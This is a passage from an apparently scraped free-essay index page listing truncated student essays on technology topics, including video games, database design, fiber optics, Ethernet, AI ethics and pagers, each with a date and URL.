child's life. Although the computer has been one of human kinds greatest technological advancements, the bright flashy screens and story lines in exciting new games have overtaken the minds of young children and have also become a main exercise for people today. Each interactive media products have had a great impacts on societies, socially and psychologically. In spite of video games entertaining value, the contents and the use of it has been quite an issue for some people. Many blame video games for its violent contents and claim that video games interfere with children’s process of growing up. The reasons of that is, of course, children’s exhibition of violence. It is interesting to find that actually video games assist children a lot in their education as to introduce the first stage of computers and expand their ability on spatial subjects. It is also interesting to find that video games also assist children in improving their hand-eye co-ordination, causing their reflex to be sharpened. As for an opinion saying that playing video games will make a kid’s social life poor, there is also an argument stating that video game culture has formed a little community, in which the players teach each other and co-operate as one encounters difficulties. In other word, video game culture here plays a big role in expanding gamers’ social life. As the technological era continues through time, daily life has become more reliant on technology (computers). The daily life of a persons interaction with other people has greatly decreased. With simply sending an e-mail to a friend or family member, the interaction has become less face-to-face, but more face-to-screen. Although this change is happening it is not all bad. With the use of this product, the time used planning arrangements and parties would be minimized, the time you have would be more effective such as things like playing sports and other interactions. Although we all look up to today's technology as a great advancement, many others look at it as a negative asset in today's society. Being 2006-07-25T15:51:59-04:00 http://75.150.148.189/free-essay/The-Psychological-Impact-of-Interactive-Media-on-Society-30647.aspx Scheme for Creating a Storage Database As the database team, it was our job to provide a storage facility for the other teams. We had to come up with a design that was flexible enough to handle the various types of data and yet robust enough to make searching and record lookup efficient. Since Oracle is available in the lab and is a very powerful database management system, we decided to leverage our assets and create the database on perhaps the best database server available. But before we could slap together some SQL commands we had to plan some things out first. Schema The process of building our database consisted of many phases of analysis before the actual design. We had to create an outline, and distribute it to the groups for feedback. Upon receiving the feedback and suggestions, we constructed the Entity-Relationship Diagram. Then we transformed the ERD into a prototype of the tables in the database and asked other team members for approval. Then we made final layouts of the tables, which consisted of the actual names of the tables and their corresponding attributes. These layouts were distributed to the other teams so that they can incorporate our design into their servlets. Constructing an ER diagram is very important because the ER diagram is most often used as a tool for communication between database designers and end users during the analysis phase of database development. The process of designing the ERD consists of defining the types of entities: strong entities, weak entities, and the important attributes associate with each entity. Each entity has many attributes associated with it. Examples of data attributes for the customer table are customer_id, customer_name, etc. We composed the data into six entities: customer, order, books_ordered, music_ordered, books, music, and track_list. The symbols at the end of each relationship line, on the ER diagram, represent relationship cardinality and modality. For example, a customer might submit many orders or not submit anything at all, because it's not mandatory for a customer to place an order. In our ER diagrams (figure 1, page 5), majority of our entities are composed of many attributes. For example, shipping information is included in the customer table. One of the advantages of composing many attributes in one table is that we don't have to do joint queries between different tables. After constructing the ERD, we transformed it into tables. Each 2006-07-24T08:17:18-04:00 http://75.150.148.189/free-essay/Scheme-for-Creating-a-Storage-Database-30571.aspx Benefits of Technological Progress to Society Throughout history, technological innovations have helped humankind improve their standards of living, beginning with the simple invention of bone tools of prehistoric times, continuing on to and beyond modern air conditioners, automobiles, and super computers. For nearly half of the twentieth century, Robert Moses seized upon the opportunities of technology. Moses believed in the power of technology and the inevitability of change, and he felt that it was always important to accomplish the task at hand. Following these principals, Moses eventually became one of the most powerful people in New York City, and shaped New York City during the middle part of the twentieth century. However, Moses’s power did not last, and his boldness eventually led to loss of public support, and eventually his loss of power. Moses’s life highlights several issues connected with evolving technology, especially the relationship between technological progress and social progress, the question of whether or not social problems can be solved with technological fixes, and the emergence of Moses as a tragic hero. Technological progress and social progress are related, but there are differing views on the extent of the relationship. Emmanuel Mesthene presents three general viewpoints on this relationship in his writing. The first is that technology is “the motor of all progress” and that it is a great blessing to society. He also puts forth a more pessimistic view that describes technology as an uncontrollable curse on society. His own personal view, combines the two by saying that technology can, and most likely will, lead to social change, however, there will be both positive and negative consequences accompanying the technology and the resulting change (Mesthene, p. 61-69). Volti presents the idea that technological progress is not the same as general progress, although he also believes that technological change does produce social change. He argues that a society can use, and even develop, advanced technologies without advancing in other areas. He points out the example of Nazi Germany and the fact that while they had great advances in automobiles and invented the V-2 rocket, their nature and treatment of other people can only be described as barbaric (Volti, p. 10, 31). While the world viewed the Nazi’s as inhumane and regressive, to the Nazi’s their ideology was the most righteous of all causes, and they used their 2006-07-23T20:00:18-04:00 http://75.150.148.189/free-essay/Benefits-of-Technological-Progress-to-Society-30561.aspx The Importance of Efficient Management of Technology International technology transfers are growing at a great speed as many trade barriers lowered. Especially, in recent years the volume of inward FDI into China has been second only to that into the U.S.A. During this technology transfer procedure, what is the most obvious feature that deserves our attention? Are there any risks for both parties? And how to work it out more efficiently? Concerning the above questions, I chose the article of “Technology transfer to China: a study of strategy in 20 EU industrial companies” to review. The information in the article was based around a detailed questionnaire designed to obtain an understanding of the views, experiences and strategies of European firms that had transferred technology to China. Information was provided by senior management directly involved in strategic decisions relating to their company’s technology transfer to China. The sectors and companies were chosen to represent different technological and competitive situations. In my opinion, this article has the following valuable findings: First, the author contributed the reasons for foreign companies investing in China into three main ones including: access to the Chinese market; access to cheap labor and raw materials and the globalization strategies of large multinational companies, therefore, we can say market access is the most frequently cited reason for technology transfer to China. The gains from market access and the other benefits have to be balanced against the risks to companies of creating competitors and the potential implications for their market prospects. Secondly, the author shows us through different tables the mode for foreign companies investing in China. Compared to licensing, which occupies 21% of technologies, the joint venture dominates with up to 58% of the technologies associated with this form of transfer. By contrast, only 6% of the technologies involved a one-off sale. Besides, the author made a study concerned the transfer of “ key” part of technologies and got the answer that a dominant 75% of companies had retained key parts of their technologies. A main reason for this appears to be fears concerning the protection of intellectual property rights. At the same time, the author also conducted the question relating to the transfer of R&D capacity to China and plans to transfer such capability in the future, revealed that most the firms, 75% had not transferred R&D and of these slightly over a half had no plans to do 2006-07-22T18:48:16-04:00 http://75.150.148.189/free-essay/The-Importance-of-Efficient-Management-of-Technology-30491.aspx Fiber optics technology is among fastest – growing communications technologies in the world. It is increasingly being used for communications signaling, and electrical control instead of older –technology hardwired system. Fiber optic cable uses light to transmit signals. The core of Fiber optic cable is composed of one or more thin strands of either very pure glass or plastic, millions of which can be bundled together in a sheathing. In 1860, Alexander Graham Bell demonstrated that light reflected off of mirrors was modulated by waves of sound. Later, American researchers were able to demonstrate the transmission of an image through a bundle of glass fibers. Researchers began experimenting with cladding which greatly improved transmission characteristics by reducing the dispersion of light. Later, lasers were implemented as light sources because they could provide parallel light in a steady stream at only one wavelength. The first of the low-loss optical fibers was created in 1970. In 1980, the first major Fiber Optic communication link between Boston, Mass, and Richmond, VA, was created. A year later, low-loss, single-mode fibers with high bandwidth and low loss capabilities to increase data transmission rates were created. Starting in the mid-eighties, the major communication companies began installing long-distance Fiber Optic communication systems using single-mode fibers. In 1988 the first transatlantic Fiber Optic cable was installed. Since then, Optical Fiber technology has been implemented in major communication networks that have realized its significance and importance. Two basic optical fiber are commonly being installed: singlemode and multimode. Each type has a particular use in the communication industry, although there may be some overlap in usage. A singlemode optical cable may have a core diameter of 8 to 10 microns, while a multimode cable may have a core diameter of between 50 and 1,000 microns. A singlemode cable allows a higher bandwidth to be transmitted over a larger distance than a multimode cable. 2006-07-22T02:17:03-04:00 http://75.150.148.189/free-essay/Fiber-Optic-Communications--30414.aspx Effects of Science and Technology on Society Science and technology may be partly responsible for many of the problems that face us today. The problems are the advancement of weapons, bombs, biochemical and nuclear weapon, which brought us violence amongst ourselves and others. Another problem is human dependences on technology, such as the internet, computers, cell phones etc. Yet one of the biggest problems is pollution. Three types of pollution that dominate they are water, air and noise pollution. Water is one of the several resources that we need most, many people can survive without food for several weeks but they cannot survive without water for less then a week. According to Water Pollution web site “millions of liters of water are needed every day worldwide for washing, irrigating crops, and cooling industrial processes.” The advancement of science and technology causes much water pollution, such as dumping toxic waste into rivers, ponds, oceans, and even small creeks. For example, many Third World countries that are trying to get their country industrialized lack the funds to dispose of their wastes probably. But instead, they dump their toxic pollutants into surrounding bodies of water. All of the toxins that they dump, can be washed out into the rivers, seas, or oceans can contaminate our water we use everyday to wash our face, hands, clean our dishes, and much more. The air that we breath everyday to keep us alive, imagine if the air are been polluted through our industrial everyday. According to Air Pollution and Respiratory Health web site, “In 1991 American industry emitted more than 2.4 billion pounds of toxic pollutants into the atmosphere. In 1991, 98 areas exceeded the Environmental Protection Agency's recommended levels for ozone, and an estimated 140 million Americans lived in those areas.” Of all those pollution in the atmosphere and over thousand, even hundred of thousand as breathing it everyday it can cause many health problems to a lot of people. The advancement of our industrial not only causes us health problem only but it also depleting our ozone and cause us global warming. The technologies that we build some of them which contain CFC Chlorofluorocarbon, a compound consisting of chlorine, fluorine, and carbon, CFC are commonly been used in refrigerators, solvents, cars, and many more. The CFC can break down by strong ultraviolet light in the stratosphere and release chlorine atoms that then deplete 2006-07-19T21:33:23-04:00 http://75.150.148.189/free-essay/Effects-of-Science-and-Technology-on-Society-30409.aspx The Nature of a Computer Programmer This presentation pertains to the job of a computer programmer. It highlights important areas of 2006-07-17T13:02:16-04:00 http://75.150.148.189/free-essay/The-Nature-of-a-Computer-Programmer-30290.aspx The Effects Of Paleolithic Tool Use During Paleolithic times Homo sapiens developed tools to deal with a variety of tasks and ensure their survival. It is important to note that all of these tools persist in one form or another to the present day. Although these early tools are usually ineffective in comparison to their modern counterparts the fact present day humans continue to use them solidifies their importance to the species. The most important tool that Paleolithic humans employed was flint. Using this simple yet effective tool allowed humans to set fire at will for cooking, protection, and warmth. For the first time in the history of the world animals were able to convert energy in a way other than chemically within their bodies. In the hostile environment of early times fire could be employed to keep beasts at bay protecting early man and propelling the species forward. Using flint and tinder provided warmth during the colder months and in the evenings. Flint, stone, and bone fashioned into spears or blades gave early humans another more obvious form of protection. Having developed brains more than physical defenses left early humans vulnerable to other animal species. By striking the core of a stone and producing sharp flakes they were able to fashion a variety of weapons for both defense and offense. As this technology matured humans were less likely to fall prey to other animals and could begin their struggle for dominancy of the planet. These same blades were used to fashion primitive dwellings, cut meat, reap wild grain, and fashion fur clothing. The early fashioning of pottery aided humans in their early stages tremendously. The ability to create canisters to hold food and water allowed them to transport these goods more effectively in a nomadic society. These early forms of pottery were still subject to evaporation and seepage compared to later models but was an improvement over earlier versions of containers. Sealing the food with tallow to prevent spoiling allowed them to persevere through short times of famine or when game was unavailable. Inventing kayaks, outrigger canoes, and other forms of waterborne transportation allowed early humans to overcome many geographical constraints. The ability to expend less effort and cover more territory allowed for a greater distribution of population 2006-07-13T15:19:59-04:00 http://75.150.148.189/free-essay/The-Effects-Of-Paleolithic-Tool-Use-30216.aspx The Effects of Television on Today's Society Recent studies show that North American’s have more televisions than bathrooms in their homes. Television is a part of everyone’s life, even if you don’t watch it you are surrounded by those who do. Due to this large audience, this form of media can help shape societal development, while enjoying their favorite television shows people unknowingly absorb the political, social and economic messages that are assumed in the program. Television is a tool that can be used for both bad and good, it can be used to educate and allow people to see a world they might never have a chance to see in reality. However, television shows a small, distorted view of reality, which can damage people’s views of the real world, and this can influence how people think and behave. To understand how television influences society we must first understand how society affects individuals. Through a process of socialization, everyone will learn how to behave in society by observing the behavior of others. Before television children relied on close groups of family and peer groups to learn the art of socialization. Now however mass media allows millions of people to share a variety of identical experiences, through television we can observe how successful people behave and we assume that this is the proper way to behave in the real world. “Those who tell stories hold the power in society. Today television tells most of the stories to most of the people most of the time” - George Gerbner Television is the most realistic medium of communication available, what you see and hear seems a lot like what you experience in real life, because of this it is easy to assume what we see in the media is reality. When we spend so much time watching fictional characters in fictional situations, our view of normal behavior may be distorted. People on television are often stereotyped and falsely depict the reality of the people in the real world. Most of the characters are handsome males, who are intelligent, educated and well employed. However women are tending to be portrayed as unemployed and dependent on a man in a mother type role. This stereotypical portrayal of the sexes influences how people perceive these gender roles in today’s society. Minorities are 2006-07-10T16:01:25-04:00 http://75.150.148.189/free-essay/The-Effects-of-Television-on-Today-s-Society-30171.aspx The Invention of Ethernet and How it is Used Today A gentlemen by the name of Bob Metcalfe realized that he could improve on a system called the Aloha System which arbitrated access to a shared communications channel. He developed a new system that included a mechanism that detects when a collision occurs (collision detect). The system also includes "listen before talk," in which stations listen for activity (carrier sense) before transmitting, and supports access to a shared channel by multiple stations (multiple access). Put all these components together, and you can see why the Ethernet channel access protocol is called Carrier Sense Multiple Access with Collision Detect (CSMA/CD). Metcalfe also developed a much more sophisticated back off algorithm, which, in combination with the CSMA/CD protocol, allows the Ethernet system to function all the way up to 100 percent load. In late 1972, Metcalfe and his Xerox PARC colleagues developed the first experimental Ethernet system to interconnect the Xerox Alto. The Alto was a personal workstation with a graphical user interface, and experimental Ethernet was used to link Altos to one another, and to servers and laser printers. The signal clock for the experimental Ethernet interfaces was derived from the Alto's system clock, which resulted in a data transmission rate on the experimental Ethernet of 2.94 Mbps. Metcalfe's first experimental net was called the "Alto Aloha Network." In 1973 Metcalfe changed the name to "Ethernet," to make it clear that the system could support any computer, and not just Altos, and to point out that his new network mechanisms had evolved well beyond the Aloha system. He chose to base the name on the word "ether" as a way of describing an essential feature of the system: the physical medium (cable) carries bits to all stations, much the same way that the old "luminiferous ether" was once thought to propagate electromagnetic waves through space. Physicists Michelson and Morley disproved the existence of the ether in 1887, but Metcalfe decided that it was a good name for his new network system that carried signals to all computers. Thus, Ethernet was born. The Ethernet System This is a brief tutorial on the Ethernet system. We'll begin with the origins of Ethernet and the Ethernet standards, and then describe the essential features of Ethernet operation. Ethernet is a local area network (LAN technology that transmits information between computers at speeds of 10 and 100 2006-07-10T15:59:27-04:00 http://75.150.148.189/free-essay/The-Invention-of-Ethernet-and-How-it-is-Used-Today-30170.aspx Implementing Computer Technology in Education in Australia A discussion paper from the Australian Computer Society and the Australian Council for Computers in Education Computers in schools are now commonplace. However, in the mid-1990's, there are some significant factors influencing their use in Australian schools. Some of these factors are: 1. Continuing developments in information technology (IT) are likely to lead to radical change in all education sectors. 2. Substantial strategic planning at all levels is necessary to anticipate this, and to prepare the people involved for substantial change. 3. Traditional education systems will face increasing competition from global mass media, information technology in the home, and open learning alternatives. 4. Articulation into vocational and academic tertiary sectors is being restructured. Students' skills with information technology are being emphasised as part of this process. 5. Some of the curriculum changes implied by the Statements and Profiles for Australian schools are being implemented using information technology . 6. The Hobart Declaration on Schooling contained a commitment to develop in students the 'skills of information processing and computing' which has been largely unfulfilled. Given these factors, schools may need to revisit their computer policy statements. Therefore, this paper aims to give educational decision makers and computer co-ordinators a framework for the development of revised policies. Where computer professionals are advising schools, this paper may give a curriculum focus to proposed changes in IT resource provision. Introduction This discussion paper does not attempt to forecast the demise of schooling, undermined by education delivered through wireless interactive hyper/multi-media. However realistic such a vision might be with current technology, education systems are large and have considerable inertia, especially in respect of installed capital equipment and current skills base. This discussion paper does attempt to map out patterns of development for computers in schools. It identifies the perspective of information technology in the technology curriculum for Australian schools. The paper then suggests a framework for thinking about its use in all curriculum areas, as a precursor to radical change in education systems. The development of computers in education In the Hobart Declaration on the common and agreed goals for schooling in Australia, Ministers for Education included an aim to develop in students: "Skills of information processing and computing." The Curriculum Corporation has now published the Statements and Profiles for the eight main areas of the curriculum for Australian Schools. The Technology 2006-07-07T12:50:22-04:00 http://75.150.148.189/free-essay/Implementing-Computer-Technology-in-Education-in-Australia-30075.aspx Purpose of Computer Systems Analysts Computer Systems Analysts improve existing computer systems and develop new ones. They begin by gathering information. They talk to the managers and staff and find out what their needs are. Once the goals are clear, they determine if they need to design a new software system. Once the system is set up, the analysts train staff how to use it. They may have to write manuals and documentation on how to use the system. Some analysts are employees of the organization where they do the work. This type of analysts also helps staff solve problems with their computers. There is a rapid spread of computers and information, so a computer systems analyst must keep their knowledge up-to-date by reading manuals and magazines. They may also take classes. It is suggested that you take high school computer classes to prepare for this occupation. It is recommended that you take a class or two in computer networks and get familiar with how networks operate. I am a sophomore and I have already taken two computer classes that teach the basics of computer programs. I have also taken a word processing class, and I am currently in a Cisco Networking class. It is a two-year class that teaches how to network. It is recommended that you don’t spend all your time at the computer. It’s important to develop communication and people skills. You should participate in speech classes, and sports and leadership roles. There is no universally accepted way to prepare for a job as a computer professional, but most employers want some college education. For many jobs you need at least a bachelor’s degree. For some jobs you may only need a 2-year degree. Persons with graduate degrees are preferred. It is recommended that you look seriously at a computer science or computer engineering degree. Computer systems analysts will have a medium level of social contact. They work alone programming, and also work with the staff. They train employees how to use programs. They usually work at least 40 hours a week, and sometimes will have to work evenings and weekends when deadlines need to be met. They sometimes will travel to seminars, trade shows, and training. They work in clean, well-lit offices, but 2006-07-05T23:32:30-04:00 http://75.150.148.189/free-essay/Purpose-of-Computer-Systems-Analysts-30049.aspx Explaining the Peripheral Components of an IT System Keyboard The keyboard is used to input data into a computer by pressing the keys on it, the data maybe input into a verity of different applications from word processors to program generators. A keyboard has 102 keys on it as standard; these keys allow the inputting of numerical data, textual data and commands (By using the ‘F’ or function keys) into specially designed programs. The character keys are what are used to input textual data, this maybe into a word processor or Internet order form. The arrow keys are used to move selected items around, this can be useful in a word processor so that the user can put the cursor in the correct place before they start typing. The number pad is used for inputting numbers. In the case of a cash till system this would be used to key in card numbers or percentages for discounts. The function keys are used to make the execution of commands simpler. By assigning a certain key a property so that when it is pressed it brings up a menu it is possible to operate the whole system from these keys alone. The ESC or escape key is used to abort an instruction, this means if a user of a system accesses the wrong menu by hitting this key they will be able to leave this menu returning to the previous one. Some keyboards have extras on them like www, back, forward, stop, refresh and volume keys. The manufacturer adds these additional keys to make everyday tasks simpler like surfing the web or adjusting the master volume. Display The display of a computer system is essential for the user to be able to see the output from the system. The monitor gives a visual representation for the user of the task they are performing in real time. If a program requires inputs visual messages can be displayed on the screen that the user can read and respond to. Without a display it is almost impossible for a human to use a computer for any good use. Displays come on many different forms these all have their own benefits and drawbacks. The most common type of display is that of a desktop monitor. A desktop monitor will normally come 2006-07-05T15:58:01-04:00 http://75.150.148.189/free-essay/Explaining-the-Peripheral-Components-of-an-IT-System-30019.aspx The Internet and the End of Intellectual Property Summary: This is an essay I originally wrote for my high school English IV class. In it, I argue that the emergence of the Internet has made the current system of intellectual property antiquated; therefore, I believe that this system must be replaced with a new system that promotes information sharing over information hiding. Article II, section 8 of the United States Constitution established a system of copyrights and patents "to promote the Progress of Science and useful Arts." Since that time, this system of intellectual property rights has been successfully applied in defending authors' right to restrict the availability of information; few have questioned the validity of such claims. However, 2006-07-05T15:47:43-04:00 http://75.150.148.189/free-essay/The-Internet-and-the-End-of-Intellectual-Property-30016.aspx Significance of the Internet Compared to the Titanic UNSOLICITED EMAIL The Titanic was hailed as one of the WONDERS of the WORLD when It departed on it's maiden voyage. The largest and greatest ship in the history of the seas. Not only that but it was thought to be UNSINKABLE! " Don't even think about...this thing can't be sunk!" Now visualize Internet Email as the Titanic. Email is one of the WONDERS of the WORLD of Communications! The voyage is under way, we have left the dock! Passengers of the Titanic have evolved into Surfers of the Internet! Surfers are ecstatic as they discover the empowerment that worldwide communications offers for very little money! Imagine being able to send friends, family, and business associates, important messages whenever you want and receiving them even while you sleep! All basically free! One day a surfer thought "what if I send my very important message to those that I don't even know". After all, "I am sure that they need to this information as it will surely help them!" the surfer rationalized! Continuing the surfers daydream about unsolicited email, "If you don't want it all you gotta do is trash it, or simply hit reply and type "REMOVE" in the subject line. What's the big deal anyway?" WHERE WE ARE HEADED In January 1996 my passion for the Internet was born. The Webworker web site was founded on the premise of helping others become entrepreneurs earning their income from home via the internet. http://www.webworker.com has continued to be developed and is now a TOP 10 WEB BUSINESS Directory. This web site has 100's of web pages with business resources that has something for everyone. The web page design includes unique email addresses for those that wish to communicate with the webmaster. Instead of sending to webmaster@webworker.com you would send to newsletters@webworker.com, etc. This design worked very well until the big bulk emailers created software to automatically retrieve email address from web pages. I then got messages and information from surfers and know exactly where they were when they decided to communicate with me. Furthermore my web site design uses over 100 EMAIL AUTORESPONDERS to help the surfer get additional information on demand as they need it. So what has changed....we are approaching an ICEBERG in fact we have already HIT IT! Visualize email address extractor programs that visit each web 2006-07-05T15:43:11-04:00 http://75.150.148.189/free-essay/Significance-of-the-Internet-Compared-to-the-Titanic-30014.aspx Examining the Ethics behind Artificial Intelligence Artificial Intelligence has been the subject of many movies and countless science fiction novels. But what happens when we seriously consider the question of computers that think. Is it possible for computers to have complex thoughts, and even emotions? This paper will seek to answer that question and give an idea about how artificial intelligence will effect the world of tomorrow. As has long been known, invincible chess can theoretically be played by a mindless system, as long as it follows a simple algorithm, routinely learned by computer science undergraduates, that traces out the consequences of each possible move until either a mate or draw position is found. In the spring of 1996, IBM’s Deep Blue computer defeated the world’s greatest living chess player, Gary Kasparov. But Deep Blue, while an impressive chess player, does not remotely demonstrate humanlike thinking. (Masci) Artificial Intelligence is the capacity of a digital computer or computer controlled robot device to perform tasks commonly associated with the higher intellectual processes characteristic of humans, such as the ability to reason, discover meaning, generalize, or learn from past experience. Intelligence is the computational part of the ability to achieve goals in the world. Varying kinds and degrees of intelligence occur in people, many animals and some machines. So far, there is no solid definition of intelligence that doesn't depend on relating it to human intelligence. The problem is that we cannot yet characterize in general what kinds of computational procedures we want to call intelligent. We understand some of the mechanisms of intelligence and not others. Intelligence involves mechanisms, and AI research has discovered how to make computers carry out some of them and not others. If doing a task requires only mechanisms that are well understood today, computer programs can give very impressive performances on these tasks. The ultimate effort is to make computer programs that can solve problems and achieve goals in the world as well as humans. However, many people involved in particular research areas are much less ambitious. Most artificial intelligence researchers believe that new fundamental ideas are required, and therefore it cannot be predicted when human level intelligence will be achieved. Computer Science is of two minds about artificial intelligence. Some computer scientists believe that all human thought is algorithmic and that artificial intelligence engineers will eventually replicate the human mind and create a robot complete 2006-07-04T16:12:45-04:00 http://75.150.148.189/free-essay/Examining-the-Ethics-behind-Artificial-Intelligence-29995.aspx The Importance of Computers in Colleges The use of computers in college education is a major issue for students in today’s generation. Students entering a college or university now have the option of taking many of their courses online. There is a great deal of controversy over this issue because many people believe it will compromise the quality of education. The fact that students can receive an education from their own home is definitely a convenience, but the students usually fail to consider the consequences. Although they will be keeping up with the rest of the world while taking advantage of technological advances they will risk being left behind by their peers because they will actually be compromising their education. Taking classes online is an option that a growing number of students are taking advantage of. These classes are making a college education available for students who are not able to attend a traditional university or college. They have the option of taking classes online without a major disturbance to their everyday lives. Many parents who want to continue their education find this very helpful, but there are many other students who also take advantage of the education they can receive from their home computer. It seems like a logical decision to take the same classes offered at major colleges and universities without the hassle of driving to the campus, changing classes, and trying to arrange a schedule without too much time to kill between classes. What they may fail to consider is that being a full time student in online courses still requires just as much, if not more, time than traditional students spend in class each week. What seemed like a reasonable decision with many options can end up being a disappointment and a hindrance to students. We live in a world where technology is rapidly increasing, and new discoveries are being made every day. Computers have become a common piece of equipment in homes all over the United States. The ability to operate a computer is necessary for entering into the job field. After skimming the help wanted adds in a local newspaper, it is easy to see why a computer illiterate person may get discouraged. The majority of careers in today’s society revolve around technology. As this computer age takes 2006-07-04T15:48:46-04:00 http://75.150.148.189/free-essay/The-Importance-of-Computers-in-Colleges-29983.aspx Importance of Teamwork in the Software Industry In the software industry one is expected to work as a part of a group — a team. In a team, the members share resources and collaborate results to deliver a final product. The process of collaboration requires good communication skills, project management skills, and interpersonal skills. I learned these valuable insights while working as part of two different teams at Cohesion, last year. In the two teams, I had different roles — team leader in one and design engineer in the other. Balancing the contrasting responsibilities, objectives, priorities, and work environment offered in the two teams presented many unique challenges. As the team leader of IntegratorsOnly.com project my biggest challenge was to create a standard development environment for all the developers. Although the developers agreed that some form of controlled environment was required, they were concerned that such a model would stifle creativity and increase development time. Clearly, I wanted to streamline development, but I wanted to do so in a way that was acceptable to all the developers. I arranged a series of team meetings to discuss various development models and encouraged team members to raise questions and offer suggestions. Due to everyone's involvement, the team reached a consensus and adopted a proven development environment. In the second team I assisted my team lead in database analysis and website design for a client. And my biggest challenge was the differing goals of the two managers I was reporting to. The project manager of IntegratorsOnly.com was most concerned with timely launch of the website whereas the team leader of the HP team was most concerned with client issues and requirements. I helped the team leader of HP team build a stronger team by keeping him apprised of my goals and milestones in the other team. The fact that I was working as a team leader in one team and as a developer in the second team helped me understand both sides of the coin. In conclusion, the experience gave me some very valuable insights into team building. I realized that communication skills are the most vital tools in building and maintaining teams. Open communication helps in building a team where members are more relaxed and are open to new ideas and techniques. Clear communication helps team members to get the information they need to do their jobs and become more productive. I 2006-06-27T02:57:55-04:00 http://75.150.148.189/free-essay/Importance-of-Teamwork-in-the-Software-Industry-29877.aspx The Use of Radar Detectors Nowadays, speed-detection technology has become more and more advanced, and not getting a speeding ticket is almost unavoidable. There are a lot of devices around that can help drivers detect the police traps, but these devices are illegal in many states. As people are driving down the interstate with their cruise control set over the speed limit, many get scared of a police car parked on the side of the road. Right after they pass the trap they look at the speedometer and their rear mirror, hoping that the cop will pass them by and go after those whose speed was higher. Now, Rocky Mountain Radar Co. offers drivers a solution to escape getting the ticket. This device is called the Phazer. The Phazer makes your vehicle electronically invisible to the police speed-detecting equipment. It mixes a portion of the radar signals with background clutter and bounces it back to the squad car by way of wave guide antenna, which effectively confuses the computer inside the radar gun. Police radar takes five to ten speed measurements per second of the vehicle. The Phazer sends two different signals to the radar, so the final result is that police radar can not verify the speed of the vehicle and displays no speed at all. The Phazer also protects your vehicle from Lidar guns which use distance over time to detect the speed of the vehicle. The Phazer sends an invisible infrared signals to the Lidar gun, this way the measurement of the speed is blocked. Many devices like that were outlawed because they transmit scrambling radar beams to the police car. The Phazer reflects only part of the signal and also mixes it with an FM signal. It is perfectly legal for people living in all states but California, Minnesota, Oklahoma, Virginia, and Washington D.C. The Phazer starts to scramble the signals from three miles away from the speed trap. It is effective to almost one hundred feet away from the police car. At that point you should already see the police car and reduce your speed. The Phazer is designed to avoid the speed traps not to keep up with the excessive speeding. For that reason, the manufacturer will pay the tickets where the speed was not exceeded by fifteen miles or thirty percent, whichever is 2006-06-26T18:44:43-04:00 http://75.150.148.189/free-essay/The-Use-of-Radar-Detectors--29863.aspx Job Creation from Coputer Programmers Without computer programmers there would be no computers. A world without computers is something hard to imagine. Human beings rely on computers way too much. People practically can do anything on a computer, from doing research to composing a formal paper. Computer programmers are actually people that work in fields of electronic data processing. Computer programmers write step-by-step instructions for computers. The programs are written in a computer language, to tell the computer what to do when a task is performed. They may work alone or with a team. Their atmosphere of working is generally a computer room. Computer programmers work just like any other job; eight hours a day, five days a week. They can work in the evenings or nights. Their responsibilities are studying problems and determining how to solve them. They have to write out steps involved with a flow chart format. Programmers write out details for each step in a computer language. Testing to make sure instructions are correct is prior to the job. They also have to prepare an instruction sheet for the use of the program. The minimum education skills for a computer programmer are on-the-job training, High School Diploma/ Technical, Junior/ Technical/ Community College Degree, and Bachelor’s Degree. Computer and mathematics are subjects you need for being a computer programmer. “Most employees prefer their programmers to be college graduates”(Encyclopedia of Careers 484). As the market becomes more exposed to individuals breaking the field, a college degree is becoming more important. “Students should take any computer programming or computer science courses available”(Encyclopedia of Careers 485). The earnings for computer programmers depend on the complexity of the work. Earnings are slightly higher in larger urban areas. Programmers in the West and Northeast averaged more than those in the South and Midwest. The average salary of a computer programmer with a Bachelor’s degree in 2000 was $48,551. Those with degrees in computer science averages $48,695 per year. Those with a Masters Degree in computer science averages $50,630 per year. Those with a Ph. D gets an average of $64,950 for their first year. Programmers may receive paid vacations, holidays, sick days, life and health insurance, and retirement benefits. In 1999, South Carolina’s computer programmers earned between $29,640 and $63,794. The most common computer programmer is William H. Gates, the Founder of Microsoft. “Bill Gates is the cofounder and chairman of Microsoft Corporation, 2006-06-26T17:37:48-04:00 http://75.150.148.189/free-essay/Job-Creation-from-Coputer-Programmers-29858.aspx Overview of How Lasers 2006-06-26T17:25:15-04:00 http://75.150.148.189/free-essay/Overview-of-How-Lasers-Work-29852.aspx Technology of Submarines One had been swayed by the Yellow Submarine, that cool Beatles number of the 60s. This one looked cool too. And mysterious. As it lolled on the gentle waters off Visakhapatnam, this mean machine seemed to hide Cimmerian secrets in its bosom. And some 70 men. The invitation from Commander S. Dasika of the Eastern Naval Command was too tempting to forego, in spite of the claustrophobic rush at the mention of a submarine. It is not often that one gets a chance to visit an Indian Navy submarine. An officer looks through the periscope This one was docked after a return from a mission on the high seas. We took a small ride to the sub, and walked across a little plank to stand atop its fin. Everything seemed normal till people started disappearing into a little hatch. Commander S.V. Bhokare urged caution. "Be careful while climbing down. Place the middle of your foot on the rung and hold tight on either side and you will be fine. Beneath the first hatch is another and we will be going inside that." Officer Girish chivalrously offered to carry my bag. I wished he could do the same with me. Since the offer did not come I took the plunge, landing in a bit of a heap. But the guys working at the engines didn't seem to mind. They smiled and went on with their work. If the hatch was small, this area was smaller. Yet there were enthusiastic men hunkering over the consoles. Seeing my discomfort at the work environment, one gentleman officer offered me a chair under a miniature fan. He also suggested a glass of water. I gritted my teeth and asked him to continue with the tour. At a training session Next I found myself in front of the periscope, which was mounted for a six-footer or for someone standing on a stool. Since I cannot boast of such heights and could not spot a stool, I stood on my toes and scanned the expanse of water. I wanted to cry "Mayday" till a helpful officer turned the periscope 180º, now I saw human beings walking and driving on terra firma. That wonderful sight seemed so far away. Here I was inside a hulk of a machine which seemed to close in on me. The space is curtailed because of the machinery and, of course, the men. If you are not 2006-06-20T18:06:19-04:00 http://75.150.148.189/free-essay/Technology-of-Submarines-29737.aspx Shifting Technology from Pagers to Cellular Phones People like to stay in touch and because of technology we have many ways to communicate with one another. Because of the inventions of the telephone, cellular phone, and also the Internet like e-mail and instant messenger we can talk any time. What is popular today is that people can communicate anywhere. The invention of the pager and cellular phone now allow people to talk anywhere. Pagers and cellular phones have been growing and more people have them over the last 15 years. Which one is going to stay popular and help people keep communicating with each other? The pager or beeper is a dedicated RF (radio frequency) device that allows the pager user to receive messages broadcast on a specific frequency over a special network of radio base stations. A person with a pager can either get pages from a telephone number, text messaging on the screen or the person dials up there number and puts there code in and gets a voice message from the person that is trying to contact them. The Detroit Police Department in 1921 used the first pager like system. The term "pager" was first used in 1959, referring to a Motorola radio communications product, a small receiver that delivered a radio message individually to those carrying the device. The first pager, as we are familiar with them today, was Motorola’s Pageboy I, introduced in 1974 